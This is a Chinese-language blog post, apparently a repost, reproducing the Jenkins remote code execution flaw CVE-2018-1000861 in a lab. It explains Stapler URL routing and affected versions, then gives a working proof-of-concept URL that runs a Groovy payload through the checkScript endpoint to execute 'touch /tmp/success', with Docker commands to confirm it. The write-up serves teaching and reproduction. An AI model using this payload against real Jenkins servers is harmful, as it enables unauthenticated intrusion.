Jenkins远程命令执行漏洞(CVE-2018-1000861)

本文阅读 3 分钟

Jenkins是一个独立的开源自动化服务器,由JAVA开发。 可用于自动化各种任务,如构建,测试和部署软件;也可以根据设定持续定期编译,运行相应代码;运行UT或集成测试;将运行结果发送至邮件,或展示成报告等。 Jenkins可以通过本机系统包Docker安装,也可以通过安装Java Runtime Environment的任何机器独立运行。 在很多中大型金融企业中普遍使用Jenkins来作为项目发布工具。

Jenkins服务安全加固

Jenkins特点:
开源免费,多平台支持(windows/linux/macos);
主从分布式架构;
提供web可视化配置管理页面;
安装配置简单、插件资源丰富.

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。

Stapler框架官方文档: Stapler使用应用程序对象的公共get方法将可访问的子对象绑定到 URL。 BookStore具有从库存单位 (SKU) 编号到相应Item对象的映射。对应的 Java 类如下所示:

public  class  BookStore { 
     public  Map /* <String,Item> */  getItems () { 
         return items;
    }
    ...
}
当客户端请求一个URL“/items/b1”时,Stapler 采取以下步骤来决定如何处理这个请求。

1、Stapler 知道 '/' 被映射到类的单例实例 BookStore。
2、Stapler 取下一部分 'items' 并注意到BookStore 该类有一个 method getItems,因此 Stapler 计算 x=bookStore.getItems()。
3、Stapler 从 URL 中取出下一部分 'b1' 并注意它x 是 a Map,因此Stapler评估y=x.get("b1")。
4、最后,因为处理了整个 URL,Stapler 会查找 index.jspfor y。

在示例中,bookStore.getItems().get("b1")返回一个Book 对象,因此侧文件/WEB-INF/side-files/example/Book/index.jsp用于处理此请求,并将“it”对象设置为此Book实例。
通过这种方式,只需定义get方法即可定义URL层次结构。
影响版本:
Jenkins 2.153及更早版本 Jenkins LTS 2.138.3及更早版本

执行以下POC,POC来源于 Orangetw

http://192.168.198.132:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true
&value=public class x { 
  public x(){ 
    "touch /tmp/success".execute()
  }
}

img 此时可查看/tmp/success是否创建成功,步骤如下:

docker ps -a   //查看正在运行的容器ID,如下图ad7ba6a7699f为Jenkins容器的ID号
docker exec -it ad7ba6a7699f /bin/bash    //通过exec命令对指定的容器执行 bash
ls /tmp

img

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/sycamorelg/article/details/117734087
-- 展开阅读全文 --
Web安全—逻辑越权漏洞(BAC)
« 上一篇 03-13
Redis底层数据结构--简单动态字符串
下一篇 » 04-10

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复